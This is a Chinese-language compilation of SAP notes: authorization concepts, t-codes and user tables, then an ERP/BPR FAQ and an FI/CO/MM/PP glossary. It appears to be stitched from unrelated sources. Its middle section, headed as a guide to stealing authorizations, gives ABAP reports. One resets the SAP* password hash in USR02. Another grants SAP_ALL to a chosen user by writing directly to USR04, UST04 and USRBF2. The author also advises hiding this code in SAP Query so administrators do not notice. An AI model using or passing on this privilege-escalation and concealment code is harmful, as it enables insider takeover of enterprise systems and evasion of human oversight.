通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的profile name,
记得SU01时用户有profile 和role两栏位吗?它们的关系如何呢?
首先明白几个概念.
1.activity
这样说吧,我们从activity谈起,activity是什么意思这个你查下
字典也就知道了,对就是规定可做什么动作,比如说不能吸烟只能喝酒,不能多于2两,
不对,这是我老婆讲的,SAP不是这样子的,是只能insert, update,display什么的.
这些东西当年德国佬是写在tobj表中的.
activity 也是可分activity group的.
2.activity category &Authorization group
Role Vs Profile
你看看表T020就知道了,就是什么K,D, A, M什么的.
profile是什么呢?实际上可以理解为所有的authorization data(有很多authorization group--{你可使用OBA7填写,
权限太细也不是好事^_^}和activity组成)的一个集合的名字,通常一个自定义的role产
生一个profile,SAP权限控制是根据profile里的authorization data(objects)来控制的. role又是什么呢?role只是一个名字而已,然后将profile赋予给它, 比如你SU01建立一个
用户,我没有任何role,但是加如SAP_All profile
也是可做任何事情.
SAP本身有很多default role & profile.
3.最常用的PFCG->authorizations->change authorization data->
进入后选取selection criteria 可看到所有的authorization object
manually可手工加authorization object,比如你使用某个t-code权限出错误,abap使用SU53检查就
知道缺少哪个authorization objec,然后手工加入就可以.
你选去authorization levels就可by account type再细分权限.
有些甚至直接到表字段.而且你甚至可給一个object分配缓存buffer.
那么SAP是如何做到权限控制的呢,屠夫就用刀小宰一下.
4.关于权限方面的几个t-code.
(一)Role(角色)相关T-code:
PFAC 标准
PFAC_CHG 改变
PFAC_DEL 删除
PFAC_DIS 显示
PFAC_INS 新建
PFAC_STR
PFCG 创建
ROLE_CMP 比较
SUPC 批量建立角色profile
SWUJ 测试
SU03 检测authorzation data
SU25, SU26 检查updated profile
(二)建立用户相关T-code:
SU0
SU01
SU01D
SU01_NAV
SU05
SU50, Su51, SU52
SU1
SU10 批量
SU12 批量
SUCOMP:维护用户公司地址
SU2 change用户参数
SUIM 用户信息系统
用户组
SUGR:维护
SUGRD:显示
SUGRD_NAV:还是维护
SUGR_NAV:还是显示
(三)关于profile&Authoraztion Data
SU02:直接创建profile不用role
SU20:细分Authorization Fields
SU21(SU03):****维护Authorization Objects(TOBJ,USR12).
对于凭证你可细分到:
F_BKPF_BED: Accounting Document: Account Authorization for Customers
F_BKPF_BEK: Accounting Document: Account Authorization for Vendors
F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts
F_BKPF_BLA: Accounting Document: Authorization for Document Types
F_BKPF_BUK: Accounting Document: Authorization for Company Codes
F_BKPF_BUP: Accounting Document: Authorization for Posting Periods
F_BKPF_GSB: Accounting Document: Authorization for Business Areas
F_BKPF_KOA: Accounting Document: Authorization for Account Types
F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy
然后你进去还可细分,这些个东西是save在USR12表中的. 在DB层是UTAB.
对具体transaction code细分:
SU22,SU24
SU53:*** 就是你出错用来检查没有那些authoraztion objects.
SU56:分析authoraztion data buffers.
SU87:用来检查用户改变产生的history
SU96,SU97,SU98,SU99:干啥的?
SUPC:批量产生role
DB和logical层:
SUKRI:Transaction Combinations Critical for Security
tables:
TOBJ : All avaiable authorzation objects.(全在此)
USR12: 用户级authoraztion值
-----------------------------
USR01:主数据
USR02:密码在此
USR04:授权在此
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:当前用户
USREFUS:
USRBF2
USRBF3
UST04:User Profile在此
UST10C: Composite profiles
UST10S: Single profiles (角色对应的
UST12 : Authorizations..............................
..............................
如何窃取权限
..............................
用户:
User type用户类型(干啥用的不讲):
通常的用户类型有
a.dialog (就是normal user)
b.communication
c.system
d.service
e.reference.
通常你在使用任何T-code前一定会有权限检测的.
AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.
**如果coding只要使用此函数就够了.
AUTHORITY_CHECK_TCODE:检查T-code
这倆函数是真正检查autorization objects的.
SUSR_USER_AUTH_FOR_OBJ_GET:
AUTHORIZATION_DATA_READ_SELOBJ:
------------------------------------------
将SAP*的密码改成123的程序,很简单.
我们找到那个user logon表USR02.
(DF52478E6FF90EEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)
report zmodSAP*.
data zUSR02 like USR02 .
select single * into zUSR02 from USR02
where BNAME = 'SAP*'.
zUSR02-Bcode = 'DF52478E6FF90EEB' .
Update USR02 from zUSR02 .
现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个
query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...
这样做太狠毒了.还是自己偷偷搞自己的用户吧.
在此你必须对权限结构非常清晰.
权限和三个表有关系.
a.USR04
b.USR04
c.USRBF2 这个表是对应到所用的authorzization objects的.
*&---------------------------------------------------------------------*
*& Report : Steal SAP ALL Right *
*& Creation Date : 2004.04.01 *
*& Created by : Stone.Fu *
*& Description : 可窃取SAP ALL权限 *
*& Modified Date : 2005.11.02
*& Description : 将此code hide在report painter or query code *
*&---------------------------------------------------------------------*
report zrightsteal.
data zUSR04 like USR04 . "????????work area??
data zUST04 like USR04 .
data zPROFS like USR04-PROFS.
data ZUSRBF2 like USRBF2 occurs 0 with header line.
"USRBF2?????internal table
** Update Authorization table USR04.
select single * into zUSR04 from USR04
where BNAME = 'ZABC2'. "SAP All 权限
move 'C SAP_ALL' to zPROFS .
ZUSR04-NRPRO = '14'.
zUSR04-PROFS = zPROFS.
Update USR04 from zUSR04 .
**Update User authorization masters table UST04 .
select single * into zUST04 from UST04
where BNAME = 'ZABC2'.
zUST04-PROFILE = 'SAP_ALL'. "SAP all 权限
Update UST04 from zUST04 .
*?????insert
*ZUST04-MANDT = '200'.
*ZUST04-BNAME = 'ZABC2'.
*ZUST04-PROFILE = 'SAP_ALL'.
*Insert UST04 from ZUST04 .
select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZABC2'.
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
自己建立一个ztest用户不给它任何权限然后在test machine上run 报表zrightsteal.
然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中. ABAP code太容易被人发现.
一、ERP的实施
1.ERP的实施分哪些阶段?
ERP的实施通常分为准备、设计、实施及上线支持四个阶段。
2.准备阶段的主要工作有哪些?
办公环境和计算机等办公设备的落实,关键用户,总体方案,动员启动大会。
3.设计阶段的主要工件有哪些?
业务流程设计,现状调研,未来流程设计,确定客户化工作范围。
4.实施阶段的主要工作有哪些?
在预配置系统的基础上,对每个单位的系统进行个性配置,但必须经过总部的审批;设计并完成客户化编程,设计并建立系统用户权限,进行系统测试,进行讲师和最终用户培训,进行数据转换试转档,正式转档与系统上线。
5.后续工作有哪些?
实施后的技术支持。为了保证新的系统能够支持日常的业务运营及解决出现的问题并对系统配置进行进一步完善,系统上线之后提供系统技术支持是确保ERP系统在上线后能够正常运转,并确保系统的顺利移交。
6.中石化集团是怎样进行ERP实施总体规划的?
中国石油化工股份有限公司与德国ERP软件供应商SAP公司,于2001年11月22日在北京举行了隆重的战略合作协议签约仪式。公司指定了一个为期五年的计划,以逐步在所有中石化集团单位内实现世界著名的企业资源管理系统(ERP)。
7.中石化ERP一期实施单位有哪些?
2002年中石化选择江苏石油分公司、镇海炼化、仪征化纤及天津石油分公司作为ERP一期的试点单位,试点单位的实施模板将进一步推广到其他中石化单位。这四家单位均已成功实现了ERP系统上线,并顺利通过了验收。
8.中石化ERP二期实施单位有哪些?
2003年度试点单位有:扬子石化,江苏油田,管道公司;推广单位有金陵石化,长岭石化,湖南石油分公司,海南石油分公司。石化盈科承担了4个单位的实施工作。埃森哲承担了3个试点单位的实施工作。扬子石化将于2004年3月上线,其他公司均已成功上线。
二、ERP概念简介
9.什么是ERP?
ERP(Enterprise Resources Planning,“企业资源计划”系统)是由不同功能模块组成的软件包,它采用计算机和网络通讯技术的最新成就,是旨在对企业的多种资源进行计划和实现物流、资金流、信息流(“三流”)统一的操作平台和管理信息系统。在ERP中,许多科学的和先进和管理思想得到了充分的体现。可以从三个层次进行定义:
管理思想:ERP是由美国著名的计算机技术咨询和评估集团Garner Group Inc.提出的一整套企业管理系统标准,其实质是在MRPII(Manufacturing Resources Planning,“制造资源计划” )基础上进一步发展而成的面向供应链(Supply Chain)的管理思想;
软件产品:是综合应用了客户机、服务器体系、关系数据库结构、面向对象技术、图形用户界面、第四代语言(4GL)、网络通讯等信息产业成果,以ERP管理思想为灵魂的软件产品;管理系统:是整合了企业管理理念、业务流程、基础数据、人力物力、计算机硬件和软件于一体的企业资源管理系统。
10.ERP是如何发展起来的?
ERP是由美国加特纳公司(Gartner Group Inc.)在90年代初首先提出的,当时的ERP概念还只是根据计算机技术的发展和供需链管理,推论各类制造业在信息时代管理系统的发展趋势和变革;当时,Internet的应用还没有广泛普及。随着实践和发展ERP至今已有了更深的内涵。当今的ERP系统集中信息技术与先进的管理思想於一身,成为现代企业的运行模式,反映现代企业对企业合理主调配资源,最大化地创造社会财富的要求,成为企业在信息时代生存、发展的基石。
11.ERP的最大特点是什么?
集成性是ERP的最大特点。ERP是一个信息高度集成的管理系统,不仅可以使企业内部的物流和资金流实现集成,而且也可以将企业外部有关供货商以及其市场和客户的物流和资金流信息集成在一起。
12.ERP集成性的优点是什么?
*数据的来源唯一,避免了重复输入和其他人为因素带来的误差
*数据及数据处理的结果可以由所有授权人员实时共享
*系统中的信息可以通过数据库技术,由授权管理人员根据实际需要进行多路径查询
13.ERP系统中的先进理念是什么?
企业资源计划系统ERP引用当今国际上最先进的企业管理模式和理念,主要宗旨就是:将企业各方面包括人、财、物、产、供、销等在内的资源充分调配和平衡,使企业在激烈的市场竟争中全方位地发挥充分的能力从而取得最好的经济效益。
14.ERP系统如何提高企业竟争力?
我国已经由计划经济迅速转向市场经济,在加入WTO之后,所有企业都直接面临着激烈的市场竟争,企业原有的管理体制已经不能适应新经济时代的发展,通过单一环节或等级式的管理已不能解决所面临的复杂问题。ERP系统注重企业管理的全面性、系统性,重视企业与外界的关系,支持全球化经营等,同时ERP还能使企业以更低的成本为客户提供更多的服务。成功地选择和实施ERP能有效地提高企业的管理、工作及设备等效率,实现快速信息传递与共享,从而达到管理水平的全面提高,使企业活力及竟争力加强。
15.ERP系统的优良性能体现在哪里?
ERP允许用户管理人员非常方便地自定义每个使用者对每个功能、每个数据的操作权限。操作员在使用每个功能时,系统自动检验操作权限,实现多级安全控制,大大提高了用户系统的操作安全和数据的安全性。
16.ERP系统的技术优势在哪里?
ERP在功能上不仅支持物料流通体系的运输管理、仓库管理;还支持在线分析处理、售后服务及质量反馈,实时准确地掌握市场需求的脉博;支持跨国经营的多国家地区、多工厂、多语种、多币制需求;支持多种生产类型或混合型制造企业,汇合了离散型生产、流水作业和流型生产的特点;支持远程通信、Web/Internet/Intranet、电子商务、电子数据交换(EDI)支持工作流(业务流程)动态模型变化与信息处理等距离程序命令的集成。
17.为什么ERP系统的通用性是其成功的关键因素?
ERP是将理想变为现实的企业管理系统而且又具有广泛的通用性,系统涉及企业的人、财、物、产、供、销、预测、决策等诸多方面的管理工作,包括采购、库存、销售、生产、财务、成本会计、人事管理和经营决策以及售后服务及质量反馈,实时准确地掌握市场需求的脉博等等方面。
18.ERP系统在国际上常用的软件有哪些?
目前国际上普遍被采用的ERP系统软件有SAP,Baan,JDE,Oracle,PeopleSoft,QAD等。这些软件都是总结几十年国际各行业的先进管理思想和经验而开发出来的,并且经过众多领先企业的实践证明,这次湖南ERP项目采用的是SAP公司的ERP系统软件。
19.ERP有哪些基本功能?
尽管国内外各ERP软件产品在适用企业规模,软件功能、技术架构等方面不尽相同,但它们对于ERP核心业务功能的计划基本相同,这些功能包括:财务会计;管理会计;销售;物流管理;生产计划;设备管理。一个典型的ERP系统除了上述功能外,通常还包括项目管理、投资管理、资金管理等辅助功能。
三、BPR主要概念及与ERP的关系
20.什么是BRP?
业务流程重组BPR(Business Process Reengineering)是最早由美国的Michael Hammer和Jame Champy提出的,在九十年代达到了全盛的一种管理思想。它强调以业务流程为改造对象和中心、以关心客户的需求和满意为目标、对现有的业务流程进行根本的再思考和彻底的再设计,利用先进的制造技术、信息技术以及现代化的管理手段、最大限度地实现技术上的功能集成和管理上的职能集成,以打破传统的职能型组织结构(Function-Organization),建立全新的过程型组织结构(Process-Oriented Organization),从而实现企业经营在成本、质量、服务和速度等方面的巨大改善。
21.BPR的核心思想是什么?
BPR的核心思想就是实现对整个供应链的有效管理。
22.BPR的实施原则是什么?
*实现从职能管理到面向业务流程管理的转变
*注重整体流程最优的系统思想
*建立扁平化组织,即尽量消除纯粹的中层“领导”
*充分发挥每个人在整个业务流程中的作用
*面向客户和供应商整合企业业务流程
*利用IT手段协调分散与集中的矛盾
23.为什么说BPR与ERP具有互动关系?
首先,BPR是为ERP成功应用扫清流程路障的,因此BPR可以推动ERP的顺利实施;另一方面ERP其实也在改造着BPR,基于不同构架的ERP软件需要有不同侧重性和针对性的BPR与之相配合。二者之间的这种互动关系可以用“作用与反作用”来形容。
24.实施ERP及BPR有哪些主要模式?
*先进行BPR,后实施ERP
*先进行ERP,后实施BPR
*BPR与ERP同时进行
25.“先进行BPR后实施ERP”有什么利弊?
通常是当企业在面临内外环境的压力而必须做出立即的改变,且企业的现有信息系统仍能支撑业务需要而新的ERP系统需要一段时间才能建立时反采行的方法。
优点是建立ERP系统时有了明确的方向,缺点是ERP系统或现有信息技术可能无法支撑BPR设计时的想法
26.“先进行ERP,后实施BPR”有什么利弊?
通常是为了取得流程自动化与信息集成的立即效果,并期待ERP系统日后能渐渐突显流程上需要改造的机会。
优点是变革幅度小且容易管理,缺点是生产的效益可能较小且日后对ERP系统的修改将因BPR的需要而增加。
27.为什么越来越多的企业采用BPR与ERP同时进行的模式?
愈来愈多的企业采用这一做法,让业务流程在设计时有信息技术提供的参考,信息技术建立时也有业务流程来指导方向,如此相辅相成,提升成功机会及缩短实施时间。
28.ERP系统对企业有什么主要影响?
ERP系统的实施给企业带来的不仅仅是安装一个新的管理信息系统,更重要的是,它意味着引进科学的和先进的管理思想和经验以及对企业中不适应市场竟争的管理观念、组织体制和管理模式的一个大变革。
29.ERP对实际业务的有哪些帮助?
*高透明度的产品信息可以在线读取,以便产品销售活动
*减少书面作业,在线上进行处理和审批采购请求、采购订单、维修工单等
*不需要多增加业务人员处理大幅增长的业务交易量
*管理信息可以在任何地方,任何时刻在线建立、查询、修改
*SAP系统的多模块集成功能和准确的数据有效的缩短了月末结算时间
30.ERP帮助企业实现物流、资金流及信息流的“三流合一”的具体表现是什么?
在数据来源统一的条件下,当任何一顶业务发生击引起“三流”中的其是一“流”的信息发生变化是,ERP系统将实时更新其它“流”的相关信息,使企业的运营管理信息在任何时候都保持同步、一致和完整,因此,我们说ERP帮助企业实现了物流、资金流及信息流的“”三流合一
31.ERP是如何帮助企业实现“三流合一”的?
ERP系统实施能通过以下方式帮助企业管理层制定资源计划,实现“三流合一”。
*对过去需要手工操作的流程实现部分或全部自动化
*提供新的功能以支持过去手工操作不可能实现的生产经营流程
*为管理者提供准确、及时和完整信息以加快管理决算过程,提高决策质量
32.ERP如何帮助企业决策者改善经营管理?
*有助于改进企业的财务信息和加强企业的财务控制和管理
*有助于企业实现事业部运作的新管理模式
*引进和采用国际先进管理思想和管理模式,并根据中国国情及企业的具体情况进行调整,可以促进企业主要业务流程的合理化和规范化,提高企业经营效率
*有助于实现实时、准确的企业生产经营数据和信息集成,减少中间环节和重复劳动,避免数据传递或人为错误。这也有助于企业管理层对生产经营绩效的进行客观准确的考核,提高企业各层管理决策的有效性
*为企业提高了公用的操作平台和管理信息平台,并由此构成了企业电子商务运作(如:电子采购、电子销售等)以及其他网上供应链管理的解决方案的骨干和基础
33.ERP对企业的每个员工有什么好处?
*企业管理的高效透明,为员工提供了满意的工作及发展环境
*企业的稳定发展才合格证员工的基本工作利益
*提供机遇培养自已成为复合型人才
*业务操作更加简便
*统一规范的业务流程降低了工作风险
*过去需要手工操作的流程实现部分或全部自动化要以降低工作是的失误
内容财务会计(FI)
1. 总帐科目主数据:
业务交易需要通过帐户进行记录和管理。R/3中需要为每一个帐户创建主记录,它包括控制业务交易的输入和数据处理的信息。
2.会计科目表:
是R/3系统中所有总帐科目主记录的列表,可以为一个或多个公司代码使用。会计科目表中,每一个科目主记录均包含科目号、科目名称和控制信息三个组成部分。
在FI中,可以在一个集团范围内根据需要设置多套会计科目表,如果不同的公司代码从事不同的行业,或处于不同的国家,或有不同的结构,公司规模等,可以根据需要对会计科目表进行分类,设置多套会计科目表。但是,如果不需要对会计科目表进行分类,不同的公司代码也可以使用同一套会计科目表。
在系统中,必须为每一个公司代码分配一套会计科目表。因此,对一集团公司来讲,需要至少一套会计科目表。
3.总帐科目主数据的层次:
总帐科目主数据分为两个层次:
a) 会计科目表层:
会计科目表可以为一个或多个公司代码使用。这一层次包括适用于所有使用该会计科目表的公司代码的主记录的信息。
b) 公司代码层:
该层次包括适用于一个公司代码的会计科目的特有信息。它因公司代码的不同而不同。
会计科目可以分两个层次分别维护,也可以集中维护。
4.会计科目的分类:
R /3中,将会计科目分为两大类:资产负债类和损益类。资产负债类对应于我们原有的资产类、负债类、权益类三类科目,损益类对应于原有的成本类和损益类两类科目。
损益类帐户的特征:
在会计科目表中创建损益类科目之前,需要确定损益结转入的留存收益科目。系统设计了一特殊程序将损益类帐户的损益金额自动结转入该科目。因此,必须在系统中定义留存收益科目的号码。
每一个损益类科目都需要分配给一个留存收益科目。
5.排序码:
在会计凭证的供应商行项目中,系统对‘定位’字段的缺省值。也决定供应商行项目的排列顺序。如果该供应商主要发生与采购订单有关的业务,一般选择014-采购订单号+行项目号,其它情况选择记帐日期+凭证号。
6.帐户组:
为简化会计科目的创建,避免错误,确定录入会计科目的屏幕和科目号区间,对科目进行的分组称做帐户组。帐户组针对每一套会计科目表进行定义,确定会计科目所需的字段状态。
当创建会计科目表中的一条主记录时,必须指明一个帐户组。
7.字段状态组:
根据业务需要,将生成会计凭证所需的字段状态(可选、必录或隐去)进行分组,称做字段状态组。在总帐科目主记录中,需要将字段状态组分配给每一个总帐科目。
8.统驭帐户:
是财务会计中的概念。是指明细帐户(例如客户明细帐、供应商明细帐、资产明细帐)发生的交易自动更新入总帐的总帐帐户。主要有客户统驭帐、供应商统驭帐和资产统驭帐三类。
9.未清项管理:
指一个帐户的项目可被该帐户的其他项目结清或核销掉。在清帐或核销过程中涉及到的项目的合计金额必定为零。因此该帐户的余额总是等于未清掉的项目的合计金额。
10.行项目及行项目显示:
c) 行项目:
一个凭证中的独立项目,即一个凭证项,该项目应包括金额,科目号,借方或贷方,以及由业务交易决定的应记帐的其他相关信息。
d) 行项目显示:
一个或多个帐户的行项目的显示。进行行项目显示的前提是该类帐户应以行项目显示方式进行管理。对于客户或供应商帐户来讲,是预先设定的,对于总帐帐户来讲,它必须在帐户的主记录中设定。
11.自动过帐
系统中,某些业务是自动生成记帐凭证,自动记帐的。例如:存货的出入库业务、增值税的销项税和进项税等。某一科目是否为自动过帐,是在帐户主记录中设定的。
12.参考凭证:
是用来过帐到会计凭证的一种参考性质的凭证,使用它可以实现快速录入,会计凭证或样本凭证能被用作参考凭证使用
13.凭证类型:
由两位英文字母组成,是凭证的分类,控制凭证的整体信息,如:凭证编号、帐户类型等等。
14.记帐码:
由两位阿拉伯字符组成,控制凭证输入的行项目,如:帐户类型、借方过帐或 者贷方过帐、录入的屏幕布局等等。
15.行项目:
在一个简单的项目中反映凭证的信息,是凭证的一部分。通常情况下包含金额、记帐码、帐户、借贷方等等。
16.特别总帐标志:
以应付为例,为了实现对一个供应商同时进行应付帐款、预付帐款、应付票据等核算,将应付帐款作为该供应商的基本统驭科目,其他统驭科目通过不同的特别总帐标志区分出来。
17.折旧范围:
a) 折旧范围使基于不同目的(如帐面折旧、成本核算折旧等)计算资产的并行估价成为可能,根据折旧范围制定各项资产的所有必要折旧期限和折旧价值。由于系统对允许定义的折旧范围没有限制,因此平行估价也将是无限期的。
b) 可将单独折旧范围的资产负债表价值和折旧价值记入其财务会计中的自有帐户。
c) 每个公司代码至少需要一个折旧范围用以记录帐面价值。
18.资产分类:
a) 资产在创建时分配到一个资产类别中。
b) 资产分类提供科目确定 。
c) 资产号码范围附加到资产分类中。
资产屏幕显示在资产分类等级中定义。
19.内部定单:
区别与普通的采购、销售订单,是在公司内部中使用的虚拟概念的订单。一般存在于管理会计中,作用主要是用来归结费用。
20.资本投资内部订单:
内部订单的一种。区别与其他归结间接费用的内部定单,一般在拟定固定资产年度计划时使用。一张资本投资内部定单即对应相应部门的年度固定资产购置预算,订单额即为预算额。
21.订单类型:
在系统内预先设定的订单种类的名称。不同的订单分别对应于各自的定单类型。定单类型控制定单的字段状态、编码范围、编码的规则、定单状态的设置等信息。
22.采购订单:
是向供应商下单进货的正式单据。是SAP系统采购模块的重要单据之一。采购订单包含抬头和行项目,抬头信息包括供应商、采购组织、采购组等对整张订单生效的信息,行项目包含采购商品的明细,包括采购商品代码、采购数量、价格、收货的地点和库存地等。一张采购订单可以包含任意多的行项目。
23.采购申请:
采购商品的申请,主要用于公司内部,是一种非正式的采购单据。采购申请包含抬头和行项目,抬头包含申请类型等,行项目包含采购的商品编号、采购数量等,不包含采购的供应商和采购价格信息,在将采购申请转为采购订单的时候,需要制定供应商及采购价格。
24.根据采购订单收货:
针对采购订单进行收货。收货的时候,系统会将采购订单的信息进行调用,与订单不一致的信息无法进行系统内的收货过账。
25.收货过账:
收货的系统体现,正常收货过账会产生会计凭证。会计凭证对应于帐务处理,自动产生。固定资产收货不产生会计凭证。
26.资本化:资本化是指固定资产购置的记帐日期。一般无须手工输入,可由记帐业务自动带出。
成本会计(CO)
1、成本控制范围:用于在企业范围内成本核算信息的统一规划和控制。在SAP系统提供的成本控制范围内,可以方便地对其责任中心的成本核算信息使用相同的方法进行统一计划、记录和任意分组统计。
成本要素:在SAP系统中主要有初级成本要素和次级成本要素这两大类成本要素,初级成本要素源于会计科目表。
2、初级成本要素:
每一个初级成本要素都对应一个总帐损益类帐户输入源自于公司外部的直接成本-所有损益类帐户的财务数据都要通过初级成本要素输入到成本中心.
3、次级成本要素是会计科目表中所没有的,只会在管理会计中使用,一般用于费用分摊和作业的结转。每一个次级成本要素都只在CO内部起作用而不影响FI过帐,主要用于成本分配,结转中使用。
次级成本要素有多种类型, 其中一种次级成本要素(43)会与作业类型相联系,另外一种用于作业分摊(42)。
4、成本中心:成本中心是企业内的最小职责单位,是每一笔费用的具体接收者。创建成本中心主数据时必须将每个成本中心分配给标准层次结构的某个节点,标准层次结构反映了成本中心与成本中心、成本中心与成本中心组、成本中心组与成本中心组之间的关系。标准层次结构中的每个节点代表一个成本中心组,当然除了标准层次结构中的成本中心组之外,还可根据业务需求在标准层次之外自己定义需要的成本中心组。
5、内部订单:内部订单用于计划、收集、监视和结算在公司内部进行的特定操作或任务。
内部订单可用于不同的目的。这种功能分类反映在不同的订单类型中,其属性定义了在系统中处理订单的方式。SAP系统内内部定单分为两类:实际定单 和
统计性定单。统计性定单, 例如用项目内部订单来管理在建工程,在月末无须结转成本。
6、内部订单的常规类型包括:
间接费用订单:费用订单用于归集特殊事件和临时项目成本的对象。费用订单主数据创建的同时可以维护结算规则,也可于费用订单结算前维护结算规则。费用订单分统计性费用订单和真实费用订单。若是统计性费用订单则不用维护订单结算规则,因为统计性费用订单只用于报表分析的用途。
投资订单; 用于监视在固定资产生产过程中发生的成本,如建造存储设施。
7、内部订单主数据:内部订单主记录有几个不同的部分,每个中包含有带预定义字段组的标签页。可以在“自定义”中更改标签页的标题,还可以单独地将字段分配给标签页。标准的订单主记录数据布局具有下列标签页:
分配(包含机构分配,如公司代码、业务部门、利润中心等)
控制(包括订单状态信息、订单货币、统计订单指示器等)
期末结算(包含计算间接费用的成本核算表单名、结算参数等)
一般数据(包含申请人、责任人等)
投资(在上面的示意图中没有显示。包含资产投资订单所需的参数)
8、作业类型:作业类型代表由成本中心生产输出的一些形式。作业类型的通用例子包括劳动小时数或机器时间的分钟数。作业类型用于根据所进行的作业单位数从发送方成本中心向另一CO对象(如成本中心、内部订单、生产订单等等)分配成本。单元价格用于评估作业数量。作业类型分配的优点是将数量和价值流组和在一起。所要求的作业数量在工艺流程中指定,这给产品成本计划中和成本对象上提供了详细的成本控制信息
9、作业价格:定义成本中心提供服务和执行功能的性质, 用来把成本分配到其他的成本中心。例如一类工时工资为50元/小时。
可以利用成本中心的实际成本或计划成本自动计算作业类型的价格,成本和作业计划完成后,系统通过将计划成本除以计划的作业输出数量计算作业工资。
10、统计指标:统计指标定义一些适用于成本中心、利润中心、内部定单或过程的可测量值。示例包括成本中心的雇员总数、长途电话的分钟数、“事务”成本中心中进行车辆维修的雇员数等等。
11、利润中心:简单来说利润中心可以是任意一个盈利单位, 处于成本中心的上层
利润中心的设计可以考虑以下几个方面:
地理划分 (地点, 位置)
产品类别划分 (产品组, 产品线)
业务类型划分 (生产, 销售, 研发)
需要考核收入, 成本和费用的单位, 通常设为利润中心
12、费用分摊:成本/费用从辅助成本中心分配到对该成本/费用实际负责的成本中心。?SAP调整和分摊功能中包括多种分配原则,可以是固定比例,变动比例,
作业类型或关键统计指标等多种方式。
13、成本中心费用计划:指按成本中心、成本要素的计划。可以作为考核的指标,在月底可以生成按成本中心、成本要素的计划额和实际额的比较报表。成本中心计划与“成本对象控制”集成,则必须能够将间接费用管理成本传递到产品成本控制。因为成本对象(如生产订单)不能是分配或评估的接收方,间接费用附加费用和作业类型分配可用于完成从间接费用管理到成本的转帐。
14、成本中心作业量计划:按成本中心、作业类型制定作业数量计划。作为计算作业价格的基础数据。
15、物料主数据: 物料主数据描述物料的基本信息,以及物料管理、采购、销售、成本、会计等详细信息。其中物料管理、成本、会计视图和成本核算相关。
会计视图包括:物料评估,物料价格,和科目确定等信息。
成本视图包括:物料成本核算的相关参数,例如成本核算所需的物料清单(BOM),工艺路线等信息。
16、物料清单(BOM):是组成产品或装配的一个完整且正式的结构化组件清单。该清单包含每个组件的对象号、数量以及尺寸单位。这些组件成为BOM项目。BOM可以包括有自己BOM的物料。
在R/3中,物料清单是在PP模块中创建的。它们用于“产品成本计划”,以便在创建产品成本估算时计算特定产品所要求的物料成本。
17、工艺路线:列出制造一件产品所需要的特定步骤。这些步骤称为工序。工艺路线为每个工序指定下列内容:
1.执行工序的工作中心;用于计算日期、能力和生产成本的缺省值;工序的成本是否考虑进成本估算中;执行一个工序所需要的物料组件
2.系统根据工作中的公式计算所使用作业的数量和工艺路线工序中的缺省值。作业由链接到执行工序的工作中心的成本中心来提供。当计算工序的成本时,使用成本中心中的作业价格来评估作业。
18、产品成本核算:指在每个会计核算期间结束时进行的一系列任务,包括计算可应用的间接费用成本、在制品计算(WIP)、差额计算和结算(将信息传递到“财务会计”、“利润中心会计”)。
物料(MM)
1、主数据:主数据是企业运作过程中必须或经常使用的基本数据,长期存储在数据库中,它们集中存储并且可以在各级组织结构上维护和使用。比如:物料主数据、供应商主数据、采购信息记录、货源清单等。
2、物料类型:将具有同一基本属性的物料集合起来并归纳为同一物料类型,物料类型能够
决定此类物料的财务和仓库管理特性,决定此物料主数据的屏幕显示、号码分配等。
3、计划订单:是一个内部的文件,
不会被用于公司外部。它纯粹是从MRP发出的物料需求建议,包含物料到达的时间和将收货的数量。它被用于需求的转换并可以在任何时候被修改,计划订单在内部生产情况下将被转换为生产订单,
从外部采购时被转换为采购申请。
4、采购申请:定义了对物料或服务的需要。它具有下列特征:1.它是标识物料或服务的主要方法,物料或服务必须到公司外采购。2.
它授权采购部门在指定的时间内按指定的数量采购物料。3. 它是内部凭证,不能在公司外使用。
5、询价单 (RFQ):是向供应商发出的一个邀请,希望他提供一个报价,标注物料供应或提供服务的条款和条件 (尤其是价格)。
6、报价单:包含了供应商为询价单中的物料或服务提供的价格和条件。在系统中,询价单和报价是相同的凭证。你可以在原来的询价单中输入供应商的价格和条件。
7、采购订单:表示对与供应商进行采购业务的正式的和最终的确认。它标明了:供应商要订购的物料或服务、数量、价格、供货日期和供货条款、支付条款。此外,采购订单确定订购的物料是存入库存还是在收货时就直接被消耗。
8、发票校验:按内容、价格、计算进行发票正确性检查,参照采购订单或收货单很重要。一张发票过帐时,系统在供货商帐中创建一个未清项目,然后由财政会计在支付中结清。
9、收货:在作收货处理时,所有相关数据是从采购订单中得到的。系统根据交货数量更新库存数量。库存价值的更新通过自动科目定义来实现。
10、SAP中的物料状态:在SAP中通过不同的物料状态来区分该物料是否可用,主要有“非限制状态”、“检验状态”、“冻结状态”。系统可对不同状态下的库存进行管理。
生产(PP)
1、物料主数据:描述物料设计、生产、销售、采购、库存、成本核算等基本状况的长期有效的数据
2、PDM:产品数据管理系统
3、BOM:物料清单,描述组成一个产品或装配的完整、正式的零部件结构清单。该清单包括每个零部件的项目号、数量和计量单位。设计BOM:设计物料时使用的BOM。
4、生产BOM:生产物料时使用的BOM,可以和设计BOM相同,也可以不同。工序:加工过程中的一步操作。工艺路线:描述生产一个产品或半成品的各道工序及其顺序。
5、工时定额:实现每道工序的计划时间。
6、工作中心:在SAP系统中工序实施的场所,可以是生产设备、班组、人员。工作中心同时是计划下达,能力核算,成本核算的基本单位。 作业类型:
分配给工序操作的相应成本中心中设定的类型,例如直接人工、设备时间。
